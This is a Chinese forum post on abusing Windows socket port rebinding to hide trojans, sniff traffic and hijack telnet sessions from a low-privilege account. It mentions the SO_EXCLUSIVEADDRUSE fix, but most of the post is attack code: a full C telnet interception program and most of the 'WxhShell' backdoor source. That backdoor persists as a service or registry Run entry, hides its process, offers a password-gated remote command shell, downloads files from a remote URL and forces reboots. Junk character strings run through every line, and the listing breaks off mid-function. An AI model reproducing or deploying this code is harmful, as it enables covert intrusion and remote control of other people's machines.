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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &H`yDrg6U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); - TSn_XE  
DO(FG-R  
  saddr.sin_family = AF_INET; =2# C{u.  
U5%EQc-"P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); lhKd<Y"  
9["yL{IPe  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :^%My]>T  
0 ; M+8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !Tr +:SM  
' w!o!_T6  
  这意味着什么?意味着可以进行如下的攻击: o0_RU<bWN  
b> Iq k  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 fo^M`a!va0  
_ z#zF[%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;VNwx(1l`  
W_ngB[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^;!A`t  
G/bWn@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5,|^4 ZA  
-aXV}ZY"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;q59Cr75  
mM&H; W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8S &`  
JIQS'r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 FD,M.kbg  
/k l0(='  
  #include zsc8Lw  
  #include  \|L@  
  #include \2*<Pq  
  #include    VrrCW/ o  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !i2=zlpb[  
  int main() ?yU|;my  
  { &Dgho  
  WORD wVersionRequested; Jr==AfxyT  
  DWORD ret; j"7 z  
  WSADATA wsaData; L Lm{:T7  
  BOOL val; w%g@X6  
  SOCKADDR_IN saddr; ==l p\  
  SOCKADDR_IN scaddr; Q+[gGe JUF  
  int err; z+C>P4c-y&  
  SOCKET s; HJ:s)As  
  SOCKET sc; HBXp#$dPc  
  int caddsize; =(3Qbb1i  
  HANDLE mt;  +,gI|  
  DWORD tid;   b(&2/|hd  
  wVersionRequested = MAKEWORD( 2, 2 ); :w_Zr5H]  
  err = WSAStartup( wVersionRequested, &wsaData ); mpIRe@#Z  
  if ( err != 0 ) { %e+hM $Q  
  printf("error!WSAStartup failed!\n"); ~6Vs>E4G  
  return -1; b`usRoD{+  
  } g>CF|Wj  
  saddr.sin_family = AF_INET; i-vhX4:bd  
   x~?,Wv|cm  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x@;XyQq  
=\eM -"r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Eg FV  
  saddr.sin_port = htons(23); ;@Alr?y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;^^u_SuH  
  { u`xmF/jhQ  
  printf("error!socket failed!\n"); 7  g8SK  
  return -1; F<M#T  
  } ;$wS<zp6  
  val = TRUE; h7)^$Hd  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 U@@#f;&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) s7A{<>:  
  { k"uqso/  
  printf("error!setsockopt failed!\n"); C7dy{:y`  
  return -1; ]8NNxaE3(  
  } ! k)}p_e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;XMbjWc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Zrr3='^s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mqrP0/sN  
Q.*qU,4);  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) MRwls@z=  
  { <x,u!}5J  
  ret=GetLastError(); F42r]k  
  printf("error!bind failed!\n"); @F]6[  
  return -1; Cg |_ ) _w  
  } Oz# $x  
  listen(s,2);  ?}e8g  
  while(1) M`*B/Fh 2  
  { KdHR.;*  
  caddsize = sizeof(scaddr); r :{2}nE  
  //接受连接请求 ClCb.Ozj4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ID & Iz  
  if(sc!=INVALID_SOCKET) _ r0oOpE  
  { &^Zo}F2V  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D}XyT/8G3  
  if(mt==NULL) b8P/9D7K?  
  { F#Uxl%h  
  printf("Thread Creat Failed!\n"); >eQ;\j  
  break; (YVl5}V  
  } G"T)+! 6t  
  } TR L4r_  
  CloseHandle(mt); `C%,Nj  
  } : ~"^st_[!  
  closesocket(s); =QHW>v  
  WSACleanup(); }QU9+<Z[r  
  return 0; }L^Yoq]  
  }   IsxPm9P2<  
  DWORD WINAPI ClientThread(LPVOID lpParam) (cAv :EKpo  
  { +Pd&YfU9  
  SOCKET ss = (SOCKET)lpParam; _A|1_^[G(  
  SOCKET sc; z6#N f,  
  unsigned char buf[4096]; 4(o: #9I  
  SOCKADDR_IN saddr; z9}rT<hy  
  long num; LzB)o\a  
  DWORD val; ]:(>r&'  
  DWORD ret; :WIbjI=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !MS z%QcO  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =unMgX]$  
  saddr.sin_family = AF_INET; M7-piRnd4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :{pvA;f  
  saddr.sin_port = htons(23); \:mx Ri  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Po'yr]pr  
  { r483"k(7  
  printf("error!socket failed!\n"); wv>Pn0cO  
  return -1; }jBr[S5  
  } ol^V@3[<  
  val = 100; .'mmn5E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $)\%i=  
  { vmK<_xbwd  
  ret = GetLastError(); @ +h2R  
  return -1; 5gARGA  
  } 4Z)`kS} =]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $6}siU7s4  
  { EGO;g^,  
  ret = GetLastError(); }`&#{>]2  
  return -1; UeV2`zIg`  
  } D-\\L[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) O Ul+es  
  { M,"4r^%k  
  printf("error!socket connect failed!\n"); 9a9<I  
  closesocket(sc); eUPG){"  
  closesocket(ss); '31pb9@fH  
  return -1; jv>l6)  
  } E@^`B9 ;Q7  
  while(1) o\vIYQ   
  { U~-Z`_@^-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rQg7r>%Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <&\HXAOd  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 . \M@oF  
  num = recv(ss,buf,4096,0); 7D\#1h  
  if(num>0) Rcs7 'q5  
  send(sc,buf,num,0); m663%b(5>  
  else if(num==0) u`dWU}m)  
  break; y K)7%j!  
  num = recv(sc,buf,4096,0); 3GUO   
  if(num>0) h.>6>5$n  
  send(ss,buf,num,0); /1:`?% ,2  
  else if(num==0) hPF9y@lh  
  break; ugcWFB5|  
  } A1e|Y  
  closesocket(ss); (`x6QiG!  
  closesocket(sc); ZfM(%rx  
  return 0 ; ZGK*]o =)  
  } L3lf28W  
G 5w:  
QE[ETv  
========================================================== 6 DqV1'  
&MsnQP  
下边附上一个代码,,WXhSHELL V^B'T]s  
U4qp?g+:  
========================================================== Z2~;u[0a[  
,pE{N&p9  
#include "stdafx.h" Ug*:o d  
Os' 7h  
#include <stdio.h> P9; =O$s  
#include <string.h> |0:< Z(  
#include <windows.h> jjL(=n<J<"  
#include <winsock2.h> Ta`=c0  
#include <winsvc.h> ,2q LiE>  
#include <urlmon.h> Uq `B#JI  
T5?@'b8F6  
#pragma comment (lib, "Ws2_32.lib") `=0}+  
#pragma comment (lib, "urlmon.lib") Q!(16  
tNg}: a|J  
#define MAX_USER   100 // 最大客户端连接数 ]u  4  
#define BUF_SOCK   200 // sock buffer KZUB{Y^)  
#define KEY_BUFF   255 // 输入 buffer fw kX-ON  
$HT {}^B  
#define REBOOT     0   // 重启 e8 4[B.  
#define SHUTDOWN   1   // 关机 YA9Xe+g  
.vYU4g]  
#define DEF_PORT   5000 // 监听端口 ^+tAgK2   
s9svuFb  
#define REG_LEN     16   // 注册表键长度 ~K]5`(KV  
#define SVC_LEN     80   // NT服务名长度 z[Xs=S!]I  
E9TWLB5A)(  
// 从dll定义API P,lKa.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *t.L` G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S]mXfB(mh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0*S]m5#;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Gh}sk-Xk=  
IOmQ1X7,  
// wxhshell配置信息 d|CSWcU  
struct WSCFG { H4p N+  
  int ws_port;         // 监听端口 !]=  
  char ws_passstr[REG_LEN]; // 口令 y<jW7GNt  
  int ws_autoins;       // 安装标记, 1=yes 0=no "4"gHs  
  char ws_regname[REG_LEN]; // 注册表键名 d?^bCf+<  
  char ws_svcname[REG_LEN]; // 服务名 {eA0I\c(C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '1{co/Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *m6~x-x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <|9s {z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `6;%HbP$W+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {^zieP!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y5 e6|b|  
p'z fo!  
}; rKg~H=4x2  
.si!`?K%[  
// default Wxhshell configuration 0J7)UqMf.  
struct WSCFG wscfg={DEF_PORT, ,pL%,>R5  
    "xuhuanlingzhe", > 5-z"f  
    1, L]I ;{Y  
    "Wxhshell", r(-`b8ZE  
    "Wxhshell", h}r64<Y2{  
            "WxhShell Service", %K[_;8  
    "Wrsky Windows CmdShell Service", I:M]#aFD  
    "Please Input Your Password: ", 6qg_&woJ3  
  1, 0.C[/u[  
  "http://www.wrsky.com/wxhshell.exe", l?GN& u  
  "Wxhshell.exe" 7\I,;swo  
    }; /KGVMBifM  
w6 0I;.hy  
// 消息定义模块 jx B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :H($|$\h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7(c7-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >8h14uCk  
char *msg_ws_ext="\n\rExit."; k+ [V%[U  
char *msg_ws_end="\n\rQuit."; %_Gc9SI  
char *msg_ws_boot="\n\rReboot..."; L:UJur%  
char *msg_ws_poff="\n\rShutdown..."; j6<o,0P  
char *msg_ws_down="\n\rSave to "; #rnO=N8  
5#kN<S!  
char *msg_ws_err="\n\rErr!"; *9.4AW~]X  
char *msg_ws_ok="\n\rOK!"; 46`(u"RP  
 ;LEO+,6  
char ExeFile[MAX_PATH]; {]Tb  
int nUser = 0; B^Y AKbY  
HANDLE handles[MAX_USER]; 6t@kft>Nv  
int OsIsNt; A'Q=Do E  
Mg3>/!  
SERVICE_STATUS       serviceStatus; &,E^ y,r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eT 8(O36%  
&("HH"!  
// 函数声明 %6Wv-:LY  
int Install(void); O6JH)Ka"S  
int Uninstall(void); j"g[qF/*  
int DownloadFile(char *sURL, SOCKET wsh); NKyaR_q`  
int Boot(int flag); O#Y;s;)i"  
void HideProc(void);  <sdC#j  
int GetOsVer(void); 17IT:T,'  
int Wxhshell(SOCKET wsl); oAaUXkQE  
void TalkWithClient(void *cs); e(nT2E  
int CmdShell(SOCKET sock); #+$pE@u7A  
int StartFromService(void); >a;0<Ui&Q  
int StartWxhshell(LPSTR lpCmdLine); 0'&N?rS  
h\C" ti2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^f][;>c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kB~KC-&O  
K(bid0 Y  
// 数据结构和表定义 +M@p)pyu  
SERVICE_TABLE_ENTRY DispatchTable[] = o2p;$W4`  
{ qz]b8rX  
{wscfg.ws_svcname, NTServiceMain}, 2^Y@e=^A  
{NULL, NULL} AcC'hr.N+  
}; I !\;NVhv  
^|Bpo(  
// 自我安装 #a7 Wx}  
int Install(void) \X&LrneR"t  
{ 7-Bttv{  
  char svExeFile[MAX_PATH]; < zUU`  
  HKEY key; %&EDh2w>  
  strcpy(svExeFile,ExeFile); )X-~+X91 S  
Iu(j"b#  
// 如果是win9x系统,修改注册表设为自启动 eYSVAj  
if(!OsIsNt) { 79}voDFd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4-ijuqjN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wp5w}8g  
  RegCloseKey(key); +%Y`>1I^#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }<G"w 5.<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "^?|=sQ  
  RegCloseKey(key); U9N1 )3/u  
  return 0; p\xi5z  
    } h$\+r<  
  } IC5[:UZ5]  
} 9hoTxWpmy  
else { ?[Gj?D.Wc  
ruqx #]-  
// 如果是NT以上系统,安装为系统服务 Um4$. BKD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  -w7g}  
if (schSCManager!=0) `bXP )$  
{ ,UOAGu<_gb  
  SC_HANDLE schService = CreateService sT&O%(  
  ( UC@ &! kM  
  schSCManager, 42 6l:>D(  
  wscfg.ws_svcname, gZ{q85C.>  
  wscfg.ws_svcdisp, UD.&p'^ /{  
  SERVICE_ALL_ACCESS, sqKLz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h5@v:4Jjo~  
  SERVICE_AUTO_START, R.ZC|bPiD  
  SERVICE_ERROR_NORMAL, y~ubH{O#  
  svExeFile, -v]v m3Na  
  NULL, F|Y}X|x8Q  
  NULL, <qGVOAnz+  
  NULL, Z]Zs"$q@  
  NULL, mv%Zh1khn/  
  NULL 'ju  
  ); e-@=QI^,  
  if (schService!=0) o XKH,r  
  { ZmT N  
  CloseServiceHandle(schService); s]=bg+v?j  
  CloseServiceHandle(schSCManager); M mihWD02  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8vP:yh@  
  strcat(svExeFile,wscfg.ws_svcname); a04I.5!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z{' .fq2A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W.nQYH  
  RegCloseKey(key); NhP&sQO  
  return 0; fDq`.ZW)s  
    } c5KJ_Nfi  
  } o>3g<- ul  
  CloseServiceHandle(schSCManager); #HgXTC  
} oh>X/uj  
} DM*GvBdR  
nMz~.^Q-  
return 1; B Q) 1)8r  
} y7&8P8R  
R9dC$Y]\M  
// 自我卸载 g 0=Q>TzY  
int Uninstall(void) zYL</!6a[  
{ PxqRb  
  HKEY key; |Wo_5|E  
~c;D@.e\  
if(!OsIsNt) { CBj&8#8Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *F ya qJ)  
  RegDeleteValue(key,wscfg.ws_regname); V={`k$p  
  RegCloseKey(key); !21#NCw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ="M7F0k  
  RegDeleteValue(key,wscfg.ws_regname); gy%/zbZx  
  RegCloseKey(key); T(n<@Ac]V  
  return 0; x+mf QcSD&  
  } wF@mHv  
} .bwKG`F  
} Hh|a(Zq,  
else { O&ur |&v  
yP&SA+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Dg:2*m_!j{  
if (schSCManager!=0) 4nIs+  
{ l}#z#L2,`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Hcts^zm2u  
  if (schService!=0) T~*L [*F0  
  { E`^?2dv+/  
  if(DeleteService(schService)!=0) { =K#12TRf  
  CloseServiceHandle(schService); zVSbEcr,C~  
  CloseServiceHandle(schSCManager); :yLSLN  
  return 0; g{]C@,W  
  } jjs1Vj1@<  
  CloseServiceHandle(schService); uude<d"U  
  } .H.#W1`  
  CloseServiceHandle(schSCManager); e~wuoE:M3  
} =*ZQGM3w  
} aa:97w~s0  
&7gL&AY8  
return 1; L `7~~  
} ,g2oqq ?  
vCPiT2G  
// 从指定url下载文件 I eQF+Xz  
int DownloadFile(char *sURL, SOCKET wsh) {;iG}jK  
{ Z$8 X1(o  
  HRESULT hr; (3H'!P7|~  
char seps[]= "/"; #D{jNSB  
char *token; 319 &:  
char *file; L}>XH*  
char myURL[MAX_PATH]; im}=  
char myFILE[MAX_PATH]; 6b-j  
)$h<9e  
strcpy(myURL,sURL); A;pVi;7  
  token=strtok(myURL,seps); %J_`-\)"{~  
  while(token!=NULL) b IS 3  
  { L`fDc  
    file=token; pi'w40!:  
  token=strtok(NULL,seps); >o#5tNm  
  } T'n~Qf U  
 qac4GZ  
GetCurrentDirectory(MAX_PATH,myFILE); ";I|\ T  
strcat(myFILE, "\\"); GMY"*J<E  
strcat(myFILE, file); \xQ10\u  
  send(wsh,myFILE,strlen(myFILE),0); 0K0[mC}ZwM  
send(wsh,"...",3,0); <> jut  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rPk=9I  
  if(hr==S_OK) r306`)kX  
return 0; qyfw$$X  
else d[b(+sHp a  
return 1; FwdRM)1)  
b~M3j&  
} F<KUVe  
qk Cj33v  
// 系统电源模块 Rf &~7h'+  
int Boot(int flag) U~,~GU=X  
{ ypoJ4EZ(  
  HANDLE hToken; J9tQ@3{f  
  TOKEN_PRIVILEGES tkp; Sdc yL%6!  
`M "O #  
  if(OsIsNt) { ?qn0].  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hkS K;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kW'xuZ&  
    tkp.PrivilegeCount = 1; -^y$RJC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YQB.3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HzW`j"\  
if(flag==REBOOT) { f}4bnu3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -Qs4 s  
  return 0; RJ#xq#l  
} \= M*x  
else { +) pO82  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )czuJ5  
  return 0; s^ t1T&  
} \'rh7!v-u  
  } (s/hK  
  else { kc0YWW Q-:  
if(flag==REBOOT) { S nMHk3(\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $1Lm=2;U  
  return 0; U!GG8;4  
} O23dtH  
else { e}Y|' bG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vm3B>ACJ  
  return 0; %fS__Tb#u  
} /$'R!d5r  
} ebbC`eFD  
a88(,:t  
return 1; ~w<u!  
} ]Zfg~K(  
REyk,s2"6  
// win9x进程隐藏模块 $6BD6\@  
void HideProc(void) T.1*32cX  
{ y4aW8J#  
~^U(GAs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4g}eqW  
  if ( hKernel != NULL ) ;C1]gJZ,  
  { *x^W`i   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &cty&(2p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -t92!O   
    FreeLibrary(hKernel); AE:IXP|c  
  } g~5$X{  
Up61Xn  
return; _N4G[jQLJ  
} &zl=}xeA  
GqFDN],Wp  
// 获取操作系统版本 .%{3#\  
int GetOsVer(void) a$ f$CjQ  
{ *\?t W]8<  
  OSVERSIONINFO winfo; ,a N8`M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;&|MNN^  
  GetVersionEx(&winfo); ,_K /e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d" T">Og)  
  return 1; lyBae?%&  
  else Q@]QPpe  
  return 0; `0@onDQVc=  
} /8Sg<  
j@jaFsX |  
// 客户端句柄模块 S>W_p~ @  
int Wxhshell(SOCKET wsl) Z.a`S~U  
{ A}(&At%n4  
  SOCKET wsh; !/+'O}@-E  
  struct sockaddr_in client; +tbG^w %  
  DWORD myID; _f9XY  
[.M<h^xrB  
  while(nUser<MAX_USER) ?a ~59!u  
{ W^}fAcQKH  
  int nSize=sizeof(client); I]HrtI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WoP5[.G  
  if(wsh==INVALID_SOCKET) return 1; [:cy.K!Uo%  
Wb*A};wE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]8)nIT^EP  
if(handles[nUser]==0) y be:u  
  closesocket(wsh); V%F^6ds$]0  
else 3P{ d~2  
  nUser++; =!rdn#KH  
  } \>Y2I 4x<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Hw 7   
),9^hJ1+@  
  return 0; 9#K,@X5 j  
} w +QXSa_D  
^_6.*Mvx  
// 关闭 socket sEpY&6*  
void CloseIt(SOCKET wsh) [If%+mHdU  
{ inO)Y]|f  
closesocket(wsh); Czj]jA(0f  
nUser--; D6cqON0a.  
ExitThread(0); T%{qwZc+mJ  
} 1P (5+9"s  
MeD}S@H  
// 客户端请求句柄 vM_UF{a$=  
void TalkWithClient(void *cs) :#CQQ*@  
{ _J'V5]=4  
I[mlQmwsL.  
  SOCKET wsh=(SOCKET)cs; El3Y1g3+3  
  char pwd[SVC_LEN]; V`F]L^m=L  
  char cmd[KEY_BUFF]; ZE+VLV v  
char chr[1]; `a$-"tW~j  
int i,j; SFKfsb!C  
F:p'%#3rU/  
  while (nUser < MAX_USER) { 6[r-8_  
DG2CpR)S  
if(wscfg.ws_passstr) { du,mbTQib  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \UBTNY,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); : ,0F_["3  
  //ZeroMemory(pwd,KEY_BUFF); k!9LJ%Xh  
      i=0; M1{ru~Z9  
  while(i<SVC_LEN) { TR@*tfS  
+48a..4sN  
  // 设置超时 qnFi./  
  fd_set FdRead; 6V[ce4a%  
  struct timeval TimeOut; F]_w~1 n5  
  FD_ZERO(&FdRead); 3>Ne_kY  
  FD_SET(wsh,&FdRead); IP#w  
  TimeOut.tv_sec=8; 9j[lr${A  
  TimeOut.tv_usec=0; lCyBdY9n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eSAB :L,K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !CJh6X !  
uT")j,tz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;|C[.0;kgv  
  pwd=chr[0]; UEm~5,>$0  
  if(chr[0]==0xd || chr[0]==0xa) { W~EDLLZ  
  pwd=0; u 2)#Ml  
  break; m%?+;V  
  } >gj%q$@  
  i++; C rA7lu'  
    } V_1'` F  
0!Zp4>l\Z  
  // 如果是非法用户,关闭 socket z8MKGM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )/32sz]~  
} \Z?.Po`!j  
DK\Ud6w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rM|] }M=_V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Sj,>O:p  
TbK;_pg  
while(1) { 8w 2$H  
$e99[y@  
  ZeroMemory(cmd,KEY_BUFF); :)~idVlV  
0=WZ 8|R  
      // 自动支持客户端 telnet标准   ?3=D-Xrb  
  j=0; -Hx._I$l  
  while(j<KEY_BUFF) { Kuj*U'ed7t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |I0O|Zdv  
  cmd[j]=chr[0]; E0SP  
  if(chr[0]==0xa || chr[0]==0xd) { yf lt2 R  
  cmd[j]=0; ?zS t  
  break; (toN? ?r  
  } xJ0Q8A  
  j++; QH) uh"  
    } #]g9O?0$  
W7sx/O9  
  // 下载文件 BAJEn6f?  
  if(strstr(cmd,"http://")) { .q!U@}k.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $<]G#&F   
  if(DownloadFile(cmd,wsh)) |Z"5zL10  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r@|{mQOxa  
  else CO)BF%?B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L\`uD  
  } XBTtfl &  
  else { )/B' ODa  
hwon ^?  
    switch(cmd[0]) { BLno/JK0}  
  D09/(%4j  
  // 帮助 t V]BcDp  
  case '?': { hYj!*P)uV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )|d]0/<  
    break; c~bTK" u  
  } =}8:zO 2'{  
  // 安装 GfG!CG^ %  
  case 'i': { z }t{bm  
    if(Install()) F74^HQ*J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6)@Y41H]C  
    else &+K:pU?[$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?6m6 4{M  
    break; |q( .j4[i  
    } Zy<gA >  
  // 卸载 xUKn  
  case 'r': { nc0!ag  
    if(Uninstall()) C2Pw;iK_t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J7p'_\  
    else pOe"S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j;3hQOl  
    break; R Cgn\  
    } byyzXRO;  
  // 显示 wxhshell 所在路径 9q4%s?)j  
  case 'p': { O6P{+xj$  
    char svExeFile[MAX_PATH]; oX;D|8 f  
    strcpy(svExeFile,"\n\r"); App9um3:  
      strcat(svExeFile,ExeFile); _a?(JzLw5  
        send(wsh,svExeFile,strlen(svExeFile),0); |3h-F5V)  
    break; YhZmyYamE  
    } \["'%8[:gR  
  // 重启 'f?=ks<  
  case 'b': { Z0(}doh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T&/ ]|4  
    if(Boot(REBOOT)) ;QiSz=DyA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d/m.VnW  
    else { 6dzY9   
    closesocket(wsh); ?xb4y=P7  
    ExitThread(0); '5*8'.4Sy  
    } GJ3@".+6  
    break; pKxq\U  
    } )PU_'n=>  
  // 关机 `!JcQ'u  
  case 'd': { #cZ<[K q6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [5iBXOmpS=  
    if(Boot(SHUTDOWN)) }kCaTI?@#  
